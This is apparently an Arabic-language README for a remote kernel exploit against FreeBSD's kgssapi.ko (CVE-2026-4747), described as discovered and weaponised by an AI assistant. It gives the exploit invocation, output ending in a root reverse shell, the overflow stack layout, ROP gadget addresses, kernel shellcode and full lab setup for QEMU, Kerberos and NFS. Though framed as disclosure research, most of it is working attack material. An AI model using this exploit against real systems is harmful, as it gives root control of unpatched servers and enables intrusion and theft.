
استغلال نواة عن بُعد لنظام FreeBSD CVE-2026-4747، يعتمد على تجاوز سعة المخزن المؤقت في المكدس داخل kgssapi.ko لتحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) مع قشرة عكسية. يتضمن تسليم ROP متعدد الجولات وتعليمات إعداد مفصّلة.
أول استغلال عن بُعد للنواة يتم اكتشافه واستغلاله بواسطة ذكاء اصطناعي
| الجانب | التفاصيل |
|---|---|
| CVE | CVE-2026-4747 |
| الثغرة | تجاوز سعة المخزن المؤقت في kgssapi.ko (RPCSEC_GSS) |
| التأثير | تنفيذ كود عن بُعد في النواة → قشرة عكسية بصلاحيات uid 0 |
| المتأثرون | FreeBSD 13.5, 14.3, 14.4, 15.0 (الإصدارات غير المحدثة) |
| اكتشفها | Nicholas Carlini باستخدام Claude (Anthropic) |
| تاريخ النشرة | 2026-03-26 |
| وقت الاستغلال | ~8 ساعات (4 ساعات عمل فعلي لـ Claude) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
المخرجات:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode delivered and executing
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
حل Claude 6 مشاكل تقنية مختلفة للانتقال من نشرة إلى قشرة عكسية وظيفية:
pmap_change_prot() → جعل BSS قابلاً للتنفيذkthread_exit() للإنهاء النظيف (بدون ذعر النواة)kproc_create() → عملية جديدة ببنية وضع مستخدمkern_execve("/bin/sh") → تحميل ELF، إعداد trapframe، مسح علم P_KPROC/bin/sh يعمل في الحلقة 3 بصلاحيات uid 0trap 1 (استثناء تصحيح) عند تعليمة صالحةkproc_create() يرث سجلات التصحيح من العملية الأمkproc_create()Credential body byte → Stack target
[0..35] → GSS header (version, proc, seq, svc, handle)
[36..151] → Padding (rpchdr remainder + local vars)
[152..199] → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207] → RETURN ADDRESS ← أول أداة ROP
[208..399] → سلسلة ROP (192 بايت = 24 qwords)
| الأداة | العنوان | الغرض |
|---|---|---|
pop rdi; ret | K+0x1adcda | الوسيط 1 (rdi) |
pop rsi; ret | K+0x1cdf98 | الوسيط 2 (rsi) |
pop rdx; ret | K+0x5fa429 | الوسيط 3 (rdx) |
pop rax; ret | K+0x400cb4 | القيمة للكتابة |
mov [rdi], rax; ret | 0xffffffff80e3457c | كتابة عشوائية 8 بايت |
حيث K = 0xffffffff80200000 (قاعدة النواة، بدون KASLR في FreeBSD 14.x)
المرحلة 1 - الدخول (خيط NFS المختطف):
mov rax, 0xffffffff8198bf00 ; تحويل المكدس إلى BSS
mov rsp, rax
xor eax, eax
mov dr7, rax ; مسح نقاط توقف الأجهزة
call rbx ; kproc_create (محمل مسبقًا في RBX)
mov rax, kthread_exit
call rax ; إنهاء الخيط بنظافة
المرحلة 2 - العامل (عملية نواة جديدة):
; إعداد الوسائط لـ kern_execve
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; إضافة "-c" وأمر القشرة العكسية
; ...
; تنفيذ /bin/sh
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; مسح علم P_KPROC
and byte [rax + 0xb8], 0xfb ; السماح بالانتقال إلى وضع المستخدم
ret ; → fork_exit → userret → iretq → الحلقة 3
# تنزيل الصورة
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# إعداد cloud-init
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# الإقلاع مع إعادة توجيه المنافذ
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
المتطلبات:
الإعداد في الجهاز الافتراضي:
# 1. تثبيت Kerberos
pkg install -y krb5
# 2. إنشاء KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. تهيئة قاعدة بيانات KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. إنشاء principals (استبدل "test" باسم مضيفك)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. بدء KDC
/usr/local/sbin/krb5kdc
# 6. إعداد NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. تفعيل الخدمات
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. التحقق
sysctl vfs.nfsd.threads # يجب أن يعرض 16 (مع معالجين)
sockstat -l | grep 2049 # يجب أن يعرض tcp4/tcp6
# 1. تثبيت الحزم
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi
# 2. إعداد /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # حرج: يمنع توحيد DNS
dns_canonicalize_hostname = false
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT # 127.0.0.1:8888 (QEMU) أو 192.168.x.x:88 (bridged)
}
EOF